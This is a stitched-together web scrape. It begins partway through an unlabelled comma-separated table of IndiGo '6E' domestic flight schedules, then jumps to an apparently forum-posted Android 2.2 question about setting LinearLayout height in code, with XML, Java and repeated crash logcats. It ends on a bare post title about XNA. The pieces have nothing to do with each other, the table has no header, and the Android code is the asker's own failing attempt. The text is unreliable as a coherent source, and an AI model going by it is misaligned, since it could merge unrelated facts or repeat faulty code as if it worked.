524,Chennai,Pune,21:15:00,23:00:00,Daily, 6E 273,Delhi,Agartala,6:15:00,9:45:00,Daily,Kolkata 6E 153,Delhi,Ahmedabad,14:45:00,16:30:00,Daily, 6E 101,Delhi,Bangalore,6:30:00,9:10:00,Ex Sat, 6E 103,Delhi,Bangalore,6:45:00,10:40:00,Sat,Pune 6E 121,Delhi,Bangalore,9:30:00,12:10:00,Daily, 6E 105,Delhi,Bangalore,14:20:00,18:30:00,Ex Sat,Pune 6E 153,Delhi,Bangalore,14:45:00,19:00:00,Daily,Ahmedabad 6E 107,Delhi,Bangalore,15:55:00,18:40:00,Sat, 6E 131,Delhi,Bangalore,20:45:00,23:15:00,Daily, 6E 257,Delhi,Bhubaneshwar,8:10:00,10:10:00,Daily, 6E 301,Delhi,Chennai,7:00:00,11:05:00,Daily,Hyderabad 6E 283,Delhi,Chennai,16:30:00,19:05:00,Daily, 6E 181,Delhi,Goa,9:15:00,13:35:00,Daily,Mumbai 6E 333,Delhi,Goa,11:45:00,14:15:00,Daily, 6E 201,Delhi,Guwahati,5:30:00,7:50:00,Daily, 6E 301,Delhi,Hyderabad,7:00:00,9:00:00,Daily, 6E 257,Delhi,Hyderabad,8:10:00,12:05:00,Daily,Bhubaneshwar 6E 305,Delhi,Hyderabad,14:00:00,15:55:00,Daily, 6E 307,Delhi,Hyderabad,21:00:00,22:55:00,Daily, 6E 201,Delhi,Imphal,5:30:00,9:10:00,Daily,Guwahati 6E 305,Delhi,Kochi,14:00:00,18:25:00,Daily,Hyderabad 6E 273,Delhi,Kolkata,6:15:00,8:20:00,Daily, 6E 203,Delhi,Kolkata,15:00:00,17:05:00,Daily, 6E 209,Delhi,Kolkata,18:30:00,20:45:00,Daily, 6E 183,Delhi,Mumbai,6:45:00,8:35:00,Daily, 6E 181,Delhi,Mumbai,9:15:00,11:35:00,Daily, 6E 481,Delhi,Mumbai,10:50:00,13:50:00,Daily,Vadodara 6E 189,Delhi,Mumbai,14:45:00,16:50:00,Daily, 6E 187,Delhi,Mumbai,17:50:00,19:50:00,Daily, 6E 185,Delhi,Mumbai,20:15:00,22:20:00,Daily, 6E 135,Delhi,Nagpur,8:55:00,10:40:00,Ex Sat, 6E 103,Delhi,Pune,6:45:00,8:45:00,Sat, 6E 135,Delhi,Pune,8:55:00,12:30:00,Ex Sat,Nagpur 6E 105,Delhi,Pune,14:20:00,16:30:00,Ex Sat, 6E 481,Delhi,Vadodara,10:50:00,12:20:00,Daily, 6E 277,Goa,Bangalore,14:05:00,15:00:00,Daily, 6E 277,Goa,Chennai,14:05:00,16:25:00,Daily,Bangalore 6E 334,Goa,Delhi,14:45:00,17:10:00,Daily, 6E 277,Goa,Kolkata,14:05:00,19:15:00,Daily,Bangalore/Chennai 6E 275,Goa,Mumbai,13:45:00,14:45:00,Daily, 6E 202,Guwahati,Delhi,11:00:00,13:25:00,Daily, 6E 201,Guwahati,Imphal,8:25:00,9:10:00,Daily, 6E 208,Guwahati,Jaipur,12:40:00,16:55:00,Daily,Kolkata 6E 208,Guwahati,Kolkata,12:40:00,14:00:00,Daily, 6E 322,Guwahati,Kolkata,15:30:00,16:50:00,Daily, 6E 322,Guwahati,Mumbai,15:30:00,20:20:00,Daily,Kolkata 6E 151,Hyderabad,Bangalore,8:20:00,9:20:00,Daily, 6E 352,Hyderabad,Bangalore,19:40:00,20:40:00,Daily, 6E 258,Hyderabad,Bhubaneshwar,16:40:00,18:20:00,Daily, 6E 301,Hyderabad,Chennai,9:50:00,11:05:00,Daily, 6E 308,Hyderabad,Delhi,6:10:00,8:00:00,Daily, 6E 302,Hyderabad,Delhi,13:10:00,15:20:00,Daily, 6E 258,Hyderabad,Delhi,16:40:00,20:55:00,Daily,Bhubaneshwar 6E 306,Hyderabad,Delhi,21:00:00,23:05:00,Daily, 6E 152,Hyderabad,Jaipur,20:50:00,22:30:00,Ex Sat, 6E 152,Hyderabad,Jaipur,21:10:00,22:30:00,Sat, 6E 305,Hyderabad,Kochi,16:45:00,18:25:00,Daily, 6E 351,Hyderabad,Kolkata,9:55:00,11:55:00,Daily, 6E 257,Hyderabad,Mumbai,12:35:00,13:50:00,Daily, 6E 362,Imphal,Agartala,14:15:00,14:55:00,Tu We Fr Su, 6E 202,Imphal,Delhi,9:40:00,13:25:00,Daily,Guwahati 6E 202,Imphal,Guwahati,9:40:00,10:25:00,Daily, 6E 362,Imphal,Kolkata,14:15:00,16:15:00,Tu We Fr Su,Agartala 6E 360,Imphal,Kolkata,15:05:00,16:15:00,Mo Th Sa, 6E 212,Jaipur,Ahmedabad,7:30:00,8:35:00,Daily, 6E 151,Jaipur,Bangalore,6:00:00,9:20:00,Daily,Hyderabad 6E 212,Jaipur,Chennai,7:30:00,12:55:00,Daily,Mumbai/Ahmedabad 6E 207,Jaipur,Guwahati,8:20:00,12:10:00,Daily,Kolkata 6E 151,Jaipur,Hyderabad,6:00:00,7:40:00,Daily, 6E 207,Jaipur,Kolkata,8:20:00,10:10:00,Daily, 6E 323,Jaipur,Kolkata,17:35:00,23:00:00,Daily,Mumbai 6E 212,Jaipur,Mumbai,7:30:00,10:10:00,Daily,Ahmedabad 6E 323,Jaipur,Mumbai,17:35:00,19:15:00,Daily, 6E 306,Kochi,Delhi,19:00:00,23:05:00,Daily,Hyderabad 6E 306,Kochi,Hyderabad,19:00:00,20:30:00,Daily, 6E 273,Kolkata,Agartala,8:50:00,9:45:00,Daily, 6E 360,Kolkata,Agartala,12:30:00,13:20:00,Mo Th Sa, 6E 362,Kolkata,Agartala,12:30:00,14:55:00,TuWeFrSu,Imphal 6E 409,Kolkata,Ahmedabad,11:10:00,13:50:00,Daily, 6E 275,Kolkata,Bangalore,7:30:00,11:40:00,Daily,Chennai 6E 352,Kolkata,Bangalore,16:50:00,20:40:00,Daily,Hyderabad 6E 275,Kolkata,Chennai,7:30:00,9:50:00,Daily, 6E 524,Kolkata,Chennai,18:15:00,20:25:00,Daily, 6E 210,Kolkata,Delhi,7:45:00,10:05:00,Daily, 6E 204,Kolkata,Delhi,11:40:00,13:55:00,Daily, 6E 274,Kolkata,Delhi,19:45:00,22:10:00,Daily, 6E 275,Kolkata,Goa,7:30:00,13:15:00,Daily,Chennai/Bangalore 6E 207,Kolkata,Guwahati,10:50:00,12:10:00,Daily, 6E 321,Kolkata,Guwahati,13:00:00,14:20:00,Daily, 6E 352,Kolkata,Hyderabad,16:50:00,19:00:00,Daily, 6E 362,Kolkata,Imphal,12:30:00,13:45:00,Tu We Fr Su, 6E 360,Kolkata,Imphal,12:30:00,14:35:00,MoThSa,Agartala 6E 208,Kolkata,Jaipur,14:35:00,16:55:00,Daily, 6E 320,Kolkata,Mumbai,6:00:00,8:30:00,Daily, 6E 322,Kolkata,Mumbai,17:35:00,20:20:00,Daily, 6E 404,Kolkata,Mumbai,18:35:00,21:55:00,Daily,Nagpur 6E 404,Kolkata,Nagpur,18:35:00,20:05:00,Daily, 6E 409,Kolkata,Pune,11:10:00,15:40:00,Ex Sat,Ahmedabad 6E 524,Kolkata,Pune,18:15:00,23:00:00,Daily,Chennai 6E 211,Mumbai,Ahmedabad,17:40:00,18:40:00,Daily, 6E 411,Mumbai,Bangalore,6:20:00,7:50:00,Daily, 6E 413,Mumbai,Bangalore,15:00:00,16:40:00,Daily, 6E 415,Mumbai,Bangalore,21:05:00,22:40:00,Daily, 6E 258,Mumbai,Bhubaneshwar,14:30:00,18:20:00,Daily,Hyderabad 6E 212,Mumbai,Chennai,11:00:00,12:55:00,Daily, 6E 184,Mumbai,Delhi,6:15:00,8:15:00,Daily, 6E 180,Mumbai,Delhi,8:25:00,10:35:00,Daily, 6E 482,Mumbai,Delhi,9:25:00,12:35:00,Daily,Vadodara 6E 188,Mumbai,Delhi,14:25:00,16:35:00,Daily, 6E 186,Mumbai,Delhi,17:50:00,19:55:00,Daily, 6E 182,Mumbai,Delhi,21:15:00,23:20:00,Daily, 6E 181,Mumbai,Goa,12:35:00,13:35:00,Daily, 6E 321,Mumbai,Guwahati,9:20:00,14:20:00,Daily,Kolkata 6E 258,Mumbai,Hyderabad,14:30:00,16:00:00,Daily, 6E 207,Mumbai,Jaipur,5:55:00,7:40:00,Daily, 6E 211,Mumbai,Jaipur,17:40:00,20:20:00,Daily,Ahmedabad 6E 207,Mumbai,Kolkata,5:55:00,10:10:00,Daily,Jaipur 6E 321,Mumbai,Kolkata,9:20:00,12:00:00,Daily, 6E 403,Mumbai,Kolkata,15:35:00,18:50:00,Daily,Nagpur 6E 323,Mumbai,Kolkata,20:05:00,23:00:00,Daily, 6E 403,Mumbai,Nagpur,15:35:00,16:50:00,Daily, 6E 482,Mumbai,Vadodara,9:25:00,10:25:00,Daily, 6E 136,Nagpur,Delhi,18:10:00,19:40:00,Ex Sat, 6E 403,Nagpur,Kolkata,17:20:00,18:50:00,Daily, 6E 404,Nagpur,Mumbai,20:35:00,21:55:00,Daily, 6E 135,Nagpur,Pune,11:20:00,12:30:00,Ex Sat, 6E 410,Pune,Ahmedabad,13:10:00,14:30:00,Ex Sat, 6E 103,Pune,Bangalore,9:15:00,10:40:00,Sat, 6E 105,Pune,Bangalore,17:00:00,18:30:00,Ex Sat, 6E 523,Pune,Chennai,5:55:00,7:40:00,Daily, 6E 102,Pune,Delhi,11:45:00,13:45:00,Ex Sat, 6E 136,Pune,Delhi,16:15:00,19:40:00,Ex Sat,Nagpur 6E 108,Pune,Delhi,21:10:00,23:10:00,Sat, 6E 523,Pune,Kolkata,5:55:00,10:30:00,Daily,Chennai 6E 410,Pune,Kolkata,13:10:00,17:30:00,Ex Sat,Ahmedabad 6E 136,Pune,Nagpur,16:15:00,17:40:00,Ex Sat, 6E 482,Vadodara,Delhi,10:55:00,12:35:00,Daily, 6E 481,Vadodara,Mumbai,12:50:00,13:50:00,Daily,

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  • change height in Android 2.2 LinearLayout in code

    - by Niro
    Im trying to change height of Layouts through the code without success. I've tried all of the examples i saw here and other site and my app just keep shutting down. xml code: <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:id="@+id/main_lay" android:orientation="vertical" tools:context=".MainActivity" > <LinearLayout android:id="@+id/layout_add" > </LinearLayout> <LinearLayout android:layout_width="fill_parent" android:layout_height="50dp" android:background="@color/green"> <ImageView android:layout_width="fill_parent" android:contentDescription="@string/desc" android:layout_height="45dp" android:layout_gravity="center_vertical|left" android:scaleType="fitStart" android:background="@color/orange" android:src="@drawable/logo" > </ImageView> </LinearLayout> </LinearLayout> Java code: main_layout=(LinearLayout)findViewById(R.id.main_lay); main_layout.setLayoutParams(new FrameLayout.LayoutParams(LayoutParams.MATCH_PARENT,LayoutParams.MATCH_PARENT)); main_layout.setBackgroundResource(R.color.white); layout_add = (LinearLayout) findViewById(R.id.layout_add); layout_add.setLayoutParams(new FrameLayout.LayoutParams(LayoutParams.FILL_PARENT,50 )); layout_add.setBackgroundResource(R.color.dark_grey); I cant understand what im doing wrong. I've tried different ways to fix it. The Backround setting is working fine. Thank you guys Niro This is the Logcat 12-09 16:12:39.007: E/AnalyticsSDKTest.cpp(6338): Time w/ UTC Offset: 2012-12-09 12-09 16:16:14.517: E/ActivityManager(121): fail to set top app changed! 12-09 16:16:14.547: E/InputDispatcher(121): channel '4056b9c8 com.nirosadvice.converter/com.nirosadvice.converter.MainActivity (server)' ~ Consumer closed input channel or an error occurred. events=0x8 12-09 16:16:14.547: E/InputDispatcher(121): channel '4056b9c8 com.nirosadvice.converter/com.nirosadvice.converter.MainActivity (server)' ~ Channel is unrecoverably broken and will be disposed! 12-09 16:16:18.071: E/PVWmdrmProxy(5716): binder died for component: ComponentInfo{com.pv.wmdrmservice/com.pv.wmdrmservice.PVWmdrmService} 12-09 16:16:18.161: E/AndroidRuntime(18911): FATAL EXCEPTION: main 12-09 16:16:18.161: E/AndroidRuntime(18911): java.lang.RuntimeException: Unable to start activity ComponentInfo{com.nirosadvice.converter/com.nirosadvice.converter.MainActivity}: java.lang.RuntimeException: Binary XML file line #1: You must supply a layout_width attribute. 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:1821) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:1842) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.app.ActivityThread.access$1500(ActivityThread.java:132) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1038) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.os.Handler.dispatchMessage(Handler.java:99) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.os.Looper.loop(Looper.java:150) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.app.ActivityThread.main(ActivityThread.java:4263) 12-09 16:16:18.161: E/AndroidRuntime(18911): at java.lang.reflect.Method.invokeNative(Native Method) 12-09 16:16:18.161: E/AndroidRuntime(18911): at java.lang.reflect.Method.invoke(Method.java:507) 12-09 16:16:18.161: E/AndroidRuntime(18911): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:839) 12-09 16:16:18.161: E/AndroidRuntime(18911): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:597) 12-09 16:16:18.161: E/AndroidRuntime(18911): at dalvik.system.NativeStart.main(Native Method) 12-09 16:16:18.161: E/AndroidRuntime(18911): Caused by: java.lang.RuntimeException: Binary XML file line #1: You must supply a layout_width attribute. 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.content.res.TypedArray.getLayoutDimension(TypedArray.java:491) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.view.ViewGroup$LayoutParams.setBaseAttributes(ViewGroup.java:3684) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.view.ViewGroup$MarginLayoutParams.<init>(ViewGroup.java:3764) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.widget.FrameLayout$LayoutParams.<init>(FrameLayout.java:457) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.widget.FrameLayout.generateLayoutParams(FrameLayout.java:423) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.widget.FrameLayout.generateLayoutParams(FrameLayout.java:47) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.view.LayoutInflater.inflate(LayoutInflater.java:396) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.view.LayoutInflater.inflate(LayoutInflater.java:320) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.view.LayoutInflater.inflate(LayoutInflater.java:276) 12-09 16:16:18.161: E/AndroidRuntime(18911): at com.android.internal.policy.impl.PhoneWindow.setContentView(PhoneWindow.java:231) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.app.Activity.setContentView(Activity.java:1715) 12-09 16:16:18.161: E/AndroidRuntime(18911): at com.nirosadvice.converter.MainActivity.onCreate(MainActivity.java:87) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1072) 12-09 16:16:18.161: E/AndroidRuntime(18911): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:1785) 12-09 16:16:18.161: E/AndroidRuntime(18911): ... 11 more Thanks After Iv'e added the attributes to the XML - this is what i'm getting : CatLog: 12-09 16:42:33.168: E/AndroidRuntime(19065): FATAL EXCEPTION: main 12-09 16:42:33.168: E/AndroidRuntime(19065): java.lang.ClassCastException: android.view.ViewGroup$LayoutParams 12-09 16:42:33.168: E/AndroidRuntime(19065): at android.widget.LinearLayout.measureVertical(LinearLayout.java:360) 12-09 16:42:33.168: E/AndroidRuntime(19065): at android.widget.LinearLayout.onMeasure(LinearLayout.java:309) 12-09 16:42:33.168: E/AndroidRuntime(19065): at android.view.View.measure(View.java:8526) 12-09 16:42:33.168: E/AndroidRuntime(19065): at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:3224) 12-09 16:42:33.168: E/AndroidRuntime(19065): at android.widget.FrameLayout.onMeasure(FrameLayout.java:250) 12-09 16:42:33.168: E/AndroidRuntime(19065): at android.view.View.measure(View.java:8526) 12-09 16:42:33.168: E/AndroidRuntime(19065): at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:3224) 12-09 16:42:33.168: E/AndroidRuntime(19065): at android.widget.FrameLayout.onMeasure(FrameLayout.java:250) 12-09 16:42:33.168: E/AndroidRuntime(19065): at android.view.View.measure(View.java:8526) 12-09 16:42:33.168: E/AndroidRuntime(19065): at android.view.ViewRoot.performTraversals(ViewRoot.java:902) 12-09 16:42:33.168: E/AndroidRuntime(19065): at android.view.ViewRoot.handleMessage(ViewRoot.java:1957) 12-09 16:42:33.168: E/AndroidRuntime(19065): at android.os.Handler.dispatchMessage(Handler.java:99) 12-09 16:42:33.168: E/AndroidRuntime(19065): at android.os.Looper.loop(Looper.java:150) 12-09 16:42:33.168: E/AndroidRuntime(19065): at android.app.ActivityThread.main(ActivityThread.java:4263) 12-09 16:42:33.168: E/AndroidRuntime(19065): at java.lang.reflect.Method.invokeNative(Native Method) 12-09 16:42:33.168: E/AndroidRuntime(19065): at java.lang.reflect.Method.invoke(Method.java:507) 12-09 16:42:33.168: E/AndroidRuntime(19065): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:839) 12-09 16:42:33.168: E/AndroidRuntime(19065): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:597) 12-09 16:42:33.168: E/AndroidRuntime(19065): at dalvik.system.NativeStart.main(Native Method) 12-09 16:42:39.023: E/AnalyticsSDKTest.cpp(6338): Time w/ UTC Offset: 2012-12-09 21:42:39-05:00 12-09 16:42:49.013: E/AndroidRuntime(19095): FATAL EXCEPTION: main 12-09 16:42:49.013: E/AndroidRuntime(19095): java.lang.ClassCastException: android.view.ViewGroup$LayoutParams 12-09 16:42:49.013: E/AndroidRuntime(19095): at android.widget.LinearLayout.measureVertical(LinearLayout.java:360) 12-09 16:42:49.013: E/AndroidRuntime(19095): at android.widget.LinearLayout.onMeasure(LinearLayout.java:309) 12-09 16:42:49.013: E/AndroidRuntime(19095): at android.view.View.measure(View.java:8526) 12-09 16:42:49.013: E/AndroidRuntime(19095): at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:3224) 12-09 16:42:49.013: E/AndroidRuntime(19095): at android.widget.FrameLayout.onMeasure(FrameLayout.java:250) 12-09 16:42:49.013: E/AndroidRuntime(19095): at android.view.View.measure(View.java:8526) 12-09 16:42:49.013: E/AndroidRuntime(19095): at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:3224) 12-09 16:42:49.013: E/AndroidRuntime(19095): at android.widget.FrameLayout.onMeasure(FrameLayout.java:250) 12-09 16:42:49.013: E/AndroidRuntime(19095): at android.view.View.measure(View.java:8526) 12-09 16:42:49.013: E/AndroidRuntime(19095): at android.view.ViewRoot.performTraversals(ViewRoot.java:902) 12-09 16:42:49.013: E/AndroidRuntime(19095): at android.view.ViewRoot.handleMessage(ViewRoot.java:1957) 12-09 16:42:49.013: E/AndroidRuntime(19095): at android.os.Handler.dispatchMessage(Handler.java:99) 12-09 16:42:49.013: E/AndroidRuntime(19095): at android.os.Looper.loop(Looper.java:150) 12-09 16:42:49.013: E/AndroidRuntime(19095): at android.app.ActivityThread.main(ActivityThread.java:4263) 12-09 16:42:49.013: E/AndroidRuntime(19095): at java.lang.reflect.Method.invokeNative(Native Method) 12-09 16:42:49.013: E/AndroidRuntime(19095): at java.lang.reflect.Method.invoke(Method.java:507) 12-09 16:42:49.013: E/AndroidRuntime(19095): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:839) 12-09 16:42:49.013: E/AndroidRuntime(19095): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:597) 12-09 16:42:49.013: E/AndroidRuntime(19095): at dalvik.system.NativeStart.main(Native Method) 12-09 16:44:00.913: E/AndroidRuntime(19148): FATAL EXCEPTION: main 12-09 16:44:00.913: E/AndroidRuntime(19148): java.lang.ClassCastException: android.view.ViewGroup$LayoutParams 12-09 16:44:00.913: E/AndroidRuntime(19148): at android.widget.LinearLayout.measureVertical(LinearLayout.java:360) 12-09 16:44:00.913: E/AndroidRuntime(19148): at android.widget.LinearLayout.onMeasure(LinearLayout.java:309) 12-09 16:44:00.913: E/AndroidRuntime(19148): at android.view.View.measure(View.java:8526) 12-09 16:44:00.913: E/AndroidRuntime(19148): at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:3224) 12-09 16:44:00.913: E/AndroidRuntime(19148): at android.widget.FrameLayout.onMeasure(FrameLayout.java:250) 12-09 16:44:00.913: E/AndroidRuntime(19148): at android.view.View.measure(View.java:8526) 12-09 16:44:00.913: E/AndroidRuntime(19148): at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:3224) 12-09 16:44:00.913: E/AndroidRuntime(19148): at android.widget.FrameLayout.onMeasure(FrameLayout.java:250) 12-09 16:44:00.913: E/AndroidRuntime(19148): at android.view.View.measure(View.java:8526) 12-09 16:44:00.913: E/AndroidRuntime(19148): at android.view.ViewRoot.performTraversals(ViewRoot.java:902) 12-09 16:44:00.913: E/AndroidRuntime(19148): at android.view.ViewRoot.handleMessage(ViewRoot.java:1957) 12-09 16:44:00.913: E/AndroidRuntime(19148): at android.os.Handler.dispatchMessage(Handler.java:99) 12-09 16:44:00.913: E/AndroidRuntime(19148): at android.os.Looper.loop(Looper.java:150) 12-09 16:44:00.913: E/AndroidRuntime(19148): at android.app.ActivityThread.main(ActivityThread.java:4263) 12-09 16:44:00.913: E/AndroidRuntime(19148): at java.lang.reflect.Method.invokeNative(Native Method) 12-09 16:44:00.913: E/AndroidRuntime(19148): at java.lang.reflect.Method.invoke(Method.java:507) 12-09 16:44:00.913: E/AndroidRuntime(19148): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:839) 12-09 16:44:00.913: E/AndroidRuntime(19148): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:597) 12-09 16:44:00.913: E/AndroidRuntime(19148): at dalvik.system.NativeStart.main(Native Method) 12-09 16:44:02.935: E/InputDispatcher(121): channel '4056b9c8 com.nirosadvice.converter/com.nirosadvice.converter.MainActivity (server)' ~ Consumer closed input channel or an error occurred. events=0x8 12-09 16:44:02.935: E/InputDispatcher(121): channel '4056b9c8 com.nirosadvice.converter/com.nirosadvice.converter.MainActivity (server)' ~ Channel is unrecoverably broken and will be disposed! 12-09 16:45:25.075: E/AndroidRuntime(19210): FATAL EXCEPTION: main 12-09 16:45:25.075: E/AndroidRuntime(19210): java.lang.ClassCastException: android.view.ViewGroup$LayoutParams 12-09 16:45:25.075: E/AndroidRuntime(19210): at android.widget.LinearLayout.measureVertical(LinearLayout.java:360) 12-09 16:45:25.075: E/AndroidRuntime(19210): at android.widget.LinearLayout.onMeasure(LinearLayout.java:309) 12-09 16:45:25.075: E/AndroidRuntime(19210): at android.view.View.measure(View.java:8526) 12-09 16:45:25.075: E/AndroidRuntime(19210): at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:3224) 12-09 16:45:25.075: E/AndroidRuntime(19210): at android.widget.FrameLayout.onMeasure(FrameLayout.java:250) 12-09 16:45:25.075: E/AndroidRuntime(19210): at android.view.View.measure(View.java:8526) 12-09 16:45:25.075: E/AndroidRuntime(19210): at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:3224) 12-09 16:45:25.075: E/AndroidRuntime(19210): at android.widget.FrameLayout.onMeasure(FrameLayout.java:250) 12-09 16:45:25.075: E/AndroidRuntime(19210): at android.view.View.measure(View.java:8526) 12-09 16:45:25.075: E/AndroidRuntime(19210): at android.view.ViewRoot.performTraversals(ViewRoot.java:902) 12-09 16:45:25.075: E/AndroidRuntime(19210): at android.view.ViewRoot.handleMessage(ViewRoot.java:1957) 12-09 16:45:25.075: E/AndroidRuntime(19210): at android.os.Handler.dispatchMessage(Handler.java:99) 12-09 16:45:25.075: E/AndroidRuntime(19210): at android.os.Looper.loop(Looper.java:150) 12-09 16:45:25.075: E/AndroidRuntime(19210): at android.app.ActivityThread.main(ActivityThread.java:4263) 12-09 16:45:25.075: E/AndroidRuntime(19210): at java.lang.reflect.Method.invokeNative(Native Method) 12-09 16:45:25.075: E/AndroidRuntime(19210): at java.lang.reflect.Method.invoke(Method.java:507) 12-09 16:45:25.075: E/AndroidRuntime(19210): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:839) 12-09 16:45:25.075: E/AndroidRuntime(19210): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:597) 12-09 16:45:25.075: E/AndroidRuntime(19210): at dalvik.system.NativeStart.main(Native Method) 12-09 16:50:34.507: E/AndroidRuntime(19358): FATAL EXCEPTION: main 12-09 16:50:34.507: E/AndroidRuntime(19358): java.lang.ClassCastException: android.view.ViewGroup$LayoutParams 12-09 16:50:34.507: E/AndroidRuntime(19358): at android.widget.LinearLayout.measureVertical(LinearLayout.java:360) 12-09 16:50:34.507: E/AndroidRuntime(19358): at android.widget.LinearLayout.onMeasure(LinearLayout.java:309) 12-09 16:50:34.507: E/AndroidRuntime(19358): at android.view.View.measure(View.java:8526) 12-09 16:50:34.507: E/AndroidRuntime(19358): at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:3224) 12-09 16:50:34.507: E/AndroidRuntime(19358): at android.widget.FrameLayout.onMeasure(FrameLayout.java:250) 12-09 16:50:34.507: E/AndroidRuntime(19358): at android.view.View.measure(View.java:8526) 12-09 16:50:34.507: E/AndroidRuntime(19358): at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:3224) 12-09 16:50:34.507: E/AndroidRuntime(19358): at android.widget.FrameLayout.onMeasure(FrameLayout.java:250) 12-09 16:50:34.507: E/AndroidRuntime(19358): at android.view.View.measure(View.java:8526) 12-09 16:50:34.507: E/AndroidRuntime(19358): at android.view.ViewRoot.performTraversals(ViewRoot.java:902) 12-09 16:50:34.507: E/AndroidRuntime(19358): at android.view.ViewRoot.handleMessage(ViewRoot.java:1957) 12-09 16:50:34.507: E/AndroidRuntime(19358): at android.os.Handler.dispatchMessage(Handler.java:99) 12-09 16:50:34.507: E/AndroidRuntime(19358): at android.os.Looper.loop(Looper.java:150) 12-09 16:50:34.507: E/AndroidRuntime(19358): at android.app.ActivityThread.main(ActivityThread.java:4263) 12-09 16:50:34.507: E/AndroidRuntime(19358): at java.lang.reflect.Method.invokeNative(Native Method) 12-09 16:50:34.507: E/AndroidRuntime(19358): at java.lang.reflect.Method.invoke(Method.java:507) 12-09 16:50:34.507: E/AndroidRuntime(19358): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:839) 12-09 16:50:34.507: E/AndroidRuntime(19358): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:597) 12-09 16:50:34.507: E/AndroidRuntime(19358): at dalvik.system.NativeStart.main(Native Method) Third try - after changing the Frame to Linear : 12-09 17:42:39.076: E/AnalyticsSDKTest.cpp(6338): Time w/ UTC Offset: 2012-12-09 22:42:39-05:00 12-09 17:55:44.141: E/ActivityManager(121): Fix ANR:broadcast when App died 12-09 17:55:44.722: E/AndroidRuntime(19469): FATAL EXCEPTION: main 12-09 17:55:44.722: E/AndroidRuntime(19469): java.lang.ClassCastException: android.view.ViewGroup$LayoutParams 12-09 17:55:44.722: E/AndroidRuntime(19469): at android.widget.LinearLayout.measureVertical(LinearLayout.java:360) 12-09 17:55:44.722: E/AndroidRuntime(19469): at android.widget.LinearLayout.onMeasure(LinearLayout.java:309) 12-09 17:55:44.722: E/AndroidRuntime(19469): at android.view.View.measure(View.java:8526) 12-09 17:55:44.722: E/AndroidRuntime(19469): at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:3224) 12-09 17:55:44.722: E/AndroidRuntime(19469): at android.widget.FrameLayout.onMeasure(FrameLayout.java:250) 12-09 17:55:44.722: E/AndroidRuntime(19469): at android.view.View.measure(View.java:8526) 12-09 17:55:44.722: E/AndroidRuntime(19469): at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:3224) 12-09 17:55:44.722: E/AndroidRuntime(19469): at android.widget.FrameLayout.onMeasure(FrameLayout.java:250) 12-09 17:55:44.722: E/AndroidRuntime(19469): at android.view.View.measure(View.java:8526) 12-09 17:55:44.722: E/AndroidRuntime(19469): at android.view.ViewRoot.performTraversals(ViewRoot.java:902) 12-09 17:55:44.722: E/AndroidRuntime(19469): at android.view.ViewRoot.handleMessage(ViewRoot.java:1957) 12-09 17:55:44.722: E/AndroidRuntime(19469): at android.os.Handler.dispatchMessage(Handler.java:99) 12-09 17:55:44.722: E/AndroidRuntime(19469): at android.os.Looper.loop(Looper.java:150) 12-09 17:55:44.722: E/AndroidRuntime(19469): at android.app.ActivityThread.main(ActivityThread.java:4263) 12-09 17:55:44.722: E/AndroidRuntime(19469): at java.lang.reflect.Method.invokeNative(Native Method) 12-09 17:55:44.722: E/AndroidRuntime(19469): at java.lang.reflect.Method.invoke(Method.java:507) 12-09 17:55:44.722: E/AndroidRuntime(19469): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:839) 12-09 17:55:44.722: E/AndroidRuntime(19469): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:597) 12-09 17:55:44.722: E/AndroidRuntime(19469): at dalvik.system.NativeStart.main(Native Method)

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  • XNA Notes 007

    - by George Clingerman
